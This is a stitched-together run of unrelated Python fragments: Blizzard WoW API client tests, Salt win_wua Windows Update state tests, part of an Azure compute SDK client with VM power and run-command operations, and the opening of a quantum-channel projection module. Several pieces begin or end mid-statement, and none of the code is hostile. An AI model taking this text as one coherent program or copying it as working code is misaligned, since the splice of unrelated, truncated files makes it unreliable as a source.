"static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/pet/39", params=params ) def test_get_pet_media(self, success_response_mock): self.api.wow.game_data.get_pet_media("us", "en_US", 39) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/pet/39", params=params ) def test_get_pet_abilities_index(self, success_response_mock): self.api.wow.game_data.get_pet_abilities_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/pet-ability/index", params=params, )
<filename>tests/pytests/unit/states/test_win_wua.py """ Test the win_wua state module """ from collections import namedtuple import pytest import salt.states.win_wua as win_wua import salt.utils.platform import salt.utils.win_update as win_update from tests.support.mock import MagicMock, patch @pytest.fixture def updates_list(): updated_list = { "ca3bb521-a8ea-4e26-a563-2ad6e3108b9a": { "KBs": ["KB4481252"], "Installed": False, "Title": "Blank", }, "07609d43-d518-4e77-856e-d1b316d1b8a8": { "KBs": ["KB925673"], "Installed": False, "Title": "Blank", }, "fbaa5360-a440-49d8-a3b6-0c4fc7ecaa19": { "KBs": ["KB4481252"], "Installed": False, "Title": "Blank", }, "a873372b-7a5c-443c-8022-cd59a550bef4": { "KBs": ["KB3193497"], "Installed": False, "Title": "Blank", }, "14075cbe-822e-4004-963b-f50e08d45563": { "KBs": ["KB4540723"], "Installed": False, "Title": "Blank", }, "d931e99c-4dda-4d39-9905-0f6a73f7195f": { "KBs": ["KB3193497"], "Installed": False, "Title": "Blank", }, "afda9e11-44a0-4602-9e9b-423af11ecaed": { "KBs": ["KB4541329"], "Installed": False, "Title": "Blank", }, "a0f997b1-1abe-4a46-941f-b37f732f9fbd": { "KBs": ["KB3193497"], "Installed": False, "Title": "Blank", }, "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "KBs": ["KB4052623"], "Installed": False, "Title": "KB4052623: Really long title that exceeds 40 characters", }, "0689e74b-54d1-4f55-a916-96e3c737db90": { "KBs": ["KB890830"], "Installed": False, "Title": "Blank", }, } return updated_list @pytest.fixture def updates_list_none(): updates_list_empty = {} return updates_list_empty @pytest.fixture def updates_summary(): updates_summary_d = {"Installed": 10} return updates_summary_d class Updates: def __init__(self): self.updates = [] @pytest.fixture def configure_loader_modules(): return {win_wua: {"__opts__": {"test": False}, "__env__": "base"}} @pytest.fixture def update_records(): return namedtuple( "UpdateRecord", ["KBArticleIDs", "Identity", "IsDownloaded", "IsInstalled", "Title"], ) @pytest.fixture def update_records_identity(): return namedtuple("UpdateRecordIdentity", "UpdateID") @pytest.mark.skip_unless_on_windows def test_uptodate_no_updates(updates_list_none): """ Test uptodate function with no updates found. """ expected = { "name": "NA", "changes": {}, "result": True, "comment": "No updates found", } class NoUpdates(Updates): @staticmethod def updates(): # pylint: disable=method-hidden return updates_list_none @staticmethod def count(): return len(updates_list_none) patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_win32com = patch("win32com.client.Dispatch", autospec=True) patch_win_update_agent = patch.object( salt.utils.win_update.WindowsUpdateAgent, "refresh", autospec=True ) patch_win_update = patch.object( salt.utils.win_update, "Updates", autospec=True, return_value=NoUpdates() ) with patch_winapi_com, patch_win32com, patch_win_update_agent, patch_win_update: result = win_wua.uptodate(name="NA") assert result == expected @pytest.mark.skip_unless_on_windows def test_uptodate_test_mode(): """ Test uptodate function in test=true mode. """ expected = { "name": "NA", "changes": {}, "result": None, "comment": "Updates will be installed:", } patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_win32com = patch("win32com.client.Dispatch", autospec=True) patch_win_update_agent = patch.object( salt.utils.win_update.WindowsUpdateAgent, "refresh", autospec=True ) patch_opts = patch.dict(win_wua.__opts__, {"test": True}) with patch_winapi_com, patch_win32com, patch_win_update_agent, patch_opts: wua = win_update.WindowsUpdateAgent(online=False) wua._updates = [MagicMock(IsInstalled=False, IsDownloaded=False)] result = win_wua.uptodate(name="NA") assert result == expected @pytest.mark.skip_unless_on_windows def test_uptodate(updates_list): """ Test uptodate function with some updates found. """ expected = { "name": "NA", "changes": { "failed": { "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "KBs": ["KB4052623"], "Title": "KB4052623: Really long title that exceeds 40 characters", } } }, "result": False, "comment": "Updates failed", } updates_not_installed = { "afda9e11-44a0-4602-9e9b-423af11ecaed": { "KBs": ["KB4541329"], "Installed": False, "Title": "Blank", }, "a0f997b1-1abe-4a46-941f-b37f732f9fbd": { "KBs": ["KB3193497"], "Installed": False, "Title": "Blank", }, "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "KBs": ["KB4052623"], "Installed": False, "Title": "KB4052623: Really long title that exceeds 40 characters", }, "eac02c07-d744-4892-b80f-312d045e4ccc": { "KBs": ["KB4052444"], "Installed": False, "Title": "Blank", }, } fake_wua = MagicMock() fake_updates = MagicMock() fake_updates.list.return_value = updates_not_installed fake_wua_updates = MagicMock() fake_wua_updates.list.return_value = updates_list fake_wua.updates.return_value = fake_wua_updates patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_win32 = patch("win32com.client.Dispatch", autospec=True) patch_wua = patch( "salt.utils.win_update.WindowsUpdateAgent", autospec=True, return_value=fake_wua, ) patch_win_wua_update = patch( "salt.utils.win_update.Updates", autospec=True, return_value=fake_updates ) patch_opts = patch.dict(win_wua.__opts__, {"test": False}) with patch_winapi_com, patch_win32, patch_wua, patch_win_wua_update, patch_opts: result = win_wua.uptodate(name="NA") assert result == expected @pytest.mark.skip_unless_on_windows def test_installed(update_records, update_records_identity): """ Test installed function """ update_search_obj = { update_records( KBArticleIDs=("4052623",), Identity=update_records_identity( UpdateID="eac02b09-d745-4891-b80f-400e0e5e4b6d" ), IsDownloaded=False, IsInstalled=False, Title="KB4052623: Really long title that exceeds 40 characters", ), } update_search_dict = { "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "Downloaded": True, "KBs": ["KB4052623"], "Installed": True, "NeedsReboot": True, "Title": "KB4052623: Really long title that exceeds 40 characters", }, } updates_refresh = { "a0f997b1-1abe-4a46-941f-b37f732f9fbd": { "Downloaded": False, "KBs": ["KB3193497"], "Installed": False, "NeedsReboot": False, "Title": "Update 1", }, "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "Downloaded": True, "KBs": ["KB4052623"], "Installed": True, "NeedsReboot": True, "Title": "KB4052623: Really long title that exceeds 40 characters", }, "eac02c07-d744-4892-b80f-312d045e4ccc": { "Downloaded": True, "KBs": ["KB4052444"], "Installed": True, "NeedsReboot": False, "Title": "Update 3", }, } # Mocks the connection to the Windows Update Agent mock_wua = MagicMock() # Mocks the initial search mock_wua.search = MagicMock() # Mocks the number of updates found. mock_wua.search().count.return_value = 1 # Mocks the the updates collection object mock_wua.search().updates = update_search_obj # This mocks the updates collection in the install variable. This will # get populated to as matches are found with the Add method mock_updates = MagicMock() # Needs to return the number of updates that need to be installed # (IsInstalled = False) mock_updates.count.return_value = 1 # Returns the updates that need to be installed as a dict mock_updates.list.return_value = update_search_dict # This gives us post_info mock_wua.updates = MagicMock() # Mock a refresh of the updates recognized by the machine. This would # occur post install. This is compared with the updates on the machine # to determine if the update was successful mock_wua.updates().list.return_value = updates_refresh patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_dispatch = patch("win32com.client.Dispatch", autospec=True) patch_wua = patch( "salt.utils.win_update.WindowsUpdateAgent", autospec=True, return_value=mock_wua, ) patch_update_collection = patch( "salt.utils.win_update.Updates", autospec=True, return_value=mock_updates ) patch_opts = patch.dict(win_wua.__opts__, {"test": False}) with patch_winapi_com, patch_dispatch, patch_wua, patch_update_collection, patch_opts: expected = { "changes": { "installed": { "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "KBs": ["KB4052623"], "NeedsReboot": True, "Title": "KB4052623: Really long title that exceeds 40 characters", } } }, "comment": "Updates installed successfully", "name": "KB4062623", "result": True, } result = win_wua.installed(name="KB4062623") assert result == expected @pytest.mark.skip_unless_on_windows def test_installed_no_updates(): """ Test installed function when no updates are found. """ # Mocks the connection to the Windows Update Agent mock_wua = MagicMock() # Mocks the initial search mock_wua.search = MagicMock() # Mocks the number of updates found. mock_wua.search().count.return_value = 0 patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_dispatch = patch("win32com.client.Dispatch", autospec=True) patch_wua = patch( "salt.utils.win_update.WindowsUpdateAgent", autospec=True, return_value=mock_wua, ) with patch_winapi_com, patch_dispatch, patch_wua: expected = { "name": "KB4062623", "changes": {}, "result": True, "comment": "No updates found", } result = win_wua.installed(name="KB4062623") assert result == expected @pytest.mark.skip_unless_on_windows def test_installed_test_mode(update_records, update_records_identity): """ Test installed function in test mode """ update_search_obj = { update_records( KBArticleIDs=("4052623",), Identity=update_records_identity( UpdateID="eac02b09-d745-4891-b80f-400e0e5e4b6d" ), IsDownloaded=False, IsInstalled=False, Title="Update 2", ), } # Mocks the connection to the Windows Update Agent mock_wua = MagicMock() # Mocks the initial search mock_wua.search = MagicMock() # Mocks the number of updates found. mock_wua.search().count.return_value = 1 # Mocks the the updates collection object mock_wua.search().updates = update_search_obj # This mocks the updates collection in the install variable. This will # get populated to as matches are found with the Add method mock_updates = MagicMock() # Needs to return the number of updates that need to be installed # (IsInstalled = False) mock_updates.count.return_value = 1 patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_dispatch = patch("win32com.client.Dispatch", autospec=True) patch_wua = patch( "salt.utils.win_update.WindowsUpdateAgent", autospec=True, return_value=mock_wua, ) patch_update_collection = patch( "salt.utils.win_update.Updates", autospec=True, return_value=mock_updates ) patch_opts = patch.dict(win_wua.__opts__, {"test": True}) with patch_winapi_com, patch_dispatch, patch_wua, patch_update_collection, patch_opts: expected = { "changes": {}, "comment": "Updates will be installed:", # I don't know how to mock this part so the list will show up. # It's an update collection object populated using the Add # method. But this works for now "name": "KB4062623", "result": None, } result = win_wua.installed(name="KB4062623") assert result == expected @pytest.mark.skip_unless_on_windows def test_installed_already_installed(update_records, update_records_identity): """ Test installed function when the update is already installed """ update_search_obj = { update_records( KBArticleIDs=("4052623",), Identity=update_records_identity( UpdateID="eac02b09-d745-4891-b80f-400e0e5e4b6d" ), IsDownloaded=True, IsInstalled=True, Title="Update 2", ), } # Mocks the connection to the Windows Update Agent mock_wua = MagicMock() # Mocks the initial search mock_wua.search = MagicMock() # Mocks the number of updates found. mock_wua.search().count.return_value = 1 # Mocks the the updates collection object mock_wua.search().updates = update_search_obj # This mocks the updates collection in the install variable. This will # get populated to as matches are found with the Add method mock_updates = MagicMock() # Needs to return the number of updates that need to be installed # (IsInstalled = False) mock_updates.count.return_value = 0 patch_winapi_com = patch("salt.utils.winapi.Com", autospec=True) patch_dispatch = patch("win32com.client.Dispatch", autospec=True) patch_wua = patch( "salt.utils.win_update.WindowsUpdateAgent", autospec=True, return_value=mock_wua, ) patch_update_collection = patch( "salt.utils.win_update.Updates", autospec=True, return_value=mock_updates ) patch_opts = patch.dict(win_wua.__opts__, {"test": True}) with patch_winapi_com, patch_dispatch, patch_wua, patch_update_collection, patch_opts: expected = { "changes": {}, "comment": "Updates already installed: KB4052623", "name": "KB4062623", "result": True, } result = win_wua.installed(name="KB4062623") assert result == expected @pytest.mark.skip_unless_on_windows def test_removed(update_records, update_records_identity): """ Test removed function """ update_search_obj = { update_records( KBArticleIDs=("4052623",), Identity=update_records_identity( UpdateID="eac02b09-d745-4891-b80f-400e0e5e4b6d" ), IsDownloaded=False, IsInstalled=True, Title="KB4052623: Really long title that exceeds 40 characters", ), } update_search_dict = { "eac02b09-d745-4891-b80f-400e0e5e4b6d": { "Downloaded": True, "KBs": ["KB4052623"], "Installed": False, "NeedsReboot": True, "Title": "KB4052623: Really long title that exceeds 40 characters", }, } updates_refresh = { "a0f997b1-1abe-4a46-941f-b37f732f9fbd": { "Downloaded": False, "KBs": ["KB3193497"],
response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.VirtualMachineSizePaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.VirtualMachineSizePaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def power_off( self, resource_group_name, vm_name, custom_headers=None, raw=False, **operation_config): """The operation to power off (stop) a virtual machine. The virtual machine can be restarted with the same provisioned resources. You are still charged for this virtual machine. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_name: The name of the virtual machine. :type vm_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`OperationStatusResponse <azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}/powerOff' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vmName': self._serialize.url("vm_name", vm_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def restart( self, resource_group_name, vm_name, custom_headers=None, raw=False, **operation_config): """The operation to restart a virtual machine. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_name: The name of the virtual machine. :type vm_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`OperationStatusResponse <azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}/restart' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vmName': self._serialize.url("vm_name", vm_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def start( self, resource_group_name, vm_name, custom_headers=None, raw=False, **operation_config): """The operation to start a virtual machine. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_name: The name of the virtual machine. :type vm_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`OperationStatusResponse <azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}/start' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vmName': self._serialize.url("vm_name", vm_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def redeploy( self, resource_group_name, vm_name, custom_headers=None, raw=False, **operation_config): """The operation to redeploy a virtual machine. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_name: The name of the virtual machine. :type vm_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`OperationStatusResponse <azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}/redeploy' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vmName': self._serialize.url("vm_name", vm_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def perform_maintenance( self, resource_group_name, vm_name, custom_headers=None, raw=False, **operation_config): """The operation to perform maintenance on a virtual machine. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_name: The name of the virtual machine. :type vm_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`OperationStatusResponse <azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}/performMaintenance' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'vmName': self._serialize.url("vm_name", vm_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.post(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def run_command( self, resource_group_name, vm_name, parameters, custom_headers=None, raw=False, **operation_config): """Run command on the VM. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_name: The name of the virtual machine. :type vm_name: str :param parameters: Parameters supplied to the Run command operation. :type parameters: :class:`RunCommandInput <azure.mgmt.compute.v2017_03_30.models.RunCommandInput>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`RunCommandResult <azure.mgmt.compute.v2017_03_30.models.RunCommandResult>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}/runCommand' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name,
<gh_stars>0 #!/usr/bin/env python # coding: utf-8 """ Versions of the projections to be used with generate_sampling. Main one is : * hyperplane_intersection_projection_switch_with_storage, implementing hyperplane intersection projection mixed with some alternate projections. Switch method is very general. It subsumes almost all the other versions of hyperplane_intersection_projection. Two other are : * the implementation of Dykstra algorithm: dykstra_projection_with_storage. * the implementation of alternate projections algorithm: alternate_projections_with_storage. We have also another version of the main projection, that recalls the hyperplanes from before the alternate steps when reentering HIP mode: * hyperplane_intersection_projection_recall_with_storage implementing hyperplane intersection projection mixed with some alternate projections. The switch is just a fixed number of steps in each mode. """ import numpy as N import scipy as S import scipy.linalg as SL import scipy.stats as SS import scipy.sparse as SP import scipy.optimize as SO import tables import time from pathlib import Path import pandas import collections from projections import * def store_distances_all(table_row, diff_matrix, prefix='', with_evs=False, summary_row=None, summary_prefix=None, error_array=None): evs_error = SL.eigvalsh(diff_matrix) table_row[f'{prefix}dist_L2'] = N.sqrt((evs_error**2).sum()) table_row[f'{prefix}dist_L1'] = N.abs(evs_error).sum() table_row[f'{prefix}dist_Linfty'] = N.maximum(evs_error.max(), - evs_error.min()) if with_evs: error_array.append([evs_error]) if summary_row is not None: if summary_prefix is None: summary_prefix = prefix summary_row[f'{summary_prefix}dist_L2'] = table_row[f'{prefix}dist_L2'] summary_row[f'{summary_prefix}dist_L1'] = table_row[f'{prefix}dist_L1'] summary_row[f'{summary_prefix}dist_Linfty'] = table_row[f'{prefix}dist_Linfty'] def store_fidelity(table_row, mat1, mat2, prefix='', summary_row=None, summary_prefix=None, error_array=None): sq1 = SL.sqrtm(mat1) fidelity = SL.sqrtm(sq1 @ mat2 @ sq1).trace() ** 2 table_row[f'{prefix}fidelity'] = fidelity.real if summary_row is not None: if summary_prefix is None: summary_prefix = prefix summary_row[f'{summary_prefix}fidelity'] = table_row[f'{prefix}fidelity'] def store_L2_distance(table_row, diff_matrix, prefix='', **kwargs): table_row[f'{prefix}dist_L2'] = SL.norm(diff_matrix) def hyperplane_intersection_projection_recall_with_storage(rho, group, true_Choi, maxiter=100, free_trace=True, least_ev_x_dim2_tol=1e-2, all_dists=False, dist_L2=True, with_evs=False, save_intermediate=False, alt_steps=4, HIP_steps=20, max_mem_w=30, **kwargs): """ Switches between alternate projections and hyperplane intersection projections, with the following rules: * starts in alternate projections. * stays in alternate projections for alt_steps steps. * when entering hyperplane intersection mode: keeps memory of the active hyperplanes in the former HIP iteration. * stays in hyperplane intersection projections for HIP_steps steps. Main input: * rho is the first point, assumed to be the projection on CP maps of the least-square estimator. * group is a PyTables group showing where to write the logged data in the file. * true_Choi is the true channel, in Choi form, for computation of statistics to be logged in the file. * least_ev_x_dim2_tol is a stopping condition. When the least eigenvalue is close enough to zero, we break. least_ev_x_dim2_tol is the absolute value of the least eigenvalue multiplied by the number of eigenvalues of the channel, which is an upper bound for (half) the maximum $L^1$-loss that will be added by mixing with the depolarizing channel to get into CPTP. (final_CPTP_by_mixing) """ loops = group.loops dim2 = len(rho) comp_time=0 dims = (dim2, dim2) active = N.array([]) nb_actives = 0 XW = N.zeros((0,0)) w_act = N.zeros([0, dim2, dim2]) target = N.array([]) coeffs = N.array([]) past_al = 0 past_HIP = 0 # rho is on CP, we first project on TP. Outside the loop because we also end on TP. t0 = time.perf_counter() rho = proj_TP(rho) t1 = time.perf_counter() for m in range(maxiter): loops.row['iteration'] = m loops.row['TP_proj_time'] = t1 - t0 comp_time += t1 - t0 # On CP t0 = time.perf_counter() rho_after_CP, least_ev = proj_CP_threshold(rho, free_trace, full_output=True) t1 = time.perf_counter() if save_intermediate: group.rhoTP.append(N.expand_dims(rho, 0)) # Storage of statistics loops.row['TP_least_ev'] = least_ev loops.row['CP_proj_time'] = t1 - t0 # loops.row['step_size_multiplier'] = ssm comp_time += t1 - t0 if all_dists: store_distances_all(loops.row, rho - true_Choi, prefix='TP_', with_evs=with_evs, error_array=group.TP_evs_error) store_distances_all(loops.row, rho_after_CP - true_Choi, prefix='CP_', with_evs=with_evs, error_array=group.CP_evs_error) else: store_L2_distance(loops.row, rho - true_Choi, prefix='TP_') store_L2_distance(loops.row, rho_after_CP - true_Choi, prefix='CP_') loops.row.append() loops.flush() # Breaks here because the (- least_ev) might increase on the next rho if (- least_ev) < least_ev_x_dim2_tol / dim2: t1 = t0 # Do not count twice the calculation time break t0 = time.perf_counter() w = proj_TP(rho_after_CP) - rho if past_al < alt_steps: # Simple alternate projection. Always needs at least one. past_al += 1 rho += w target -= N.einsum('ij , aij -> a', w.conj(), w_act).real else: # The intersection of hyperplanes past_HIP += 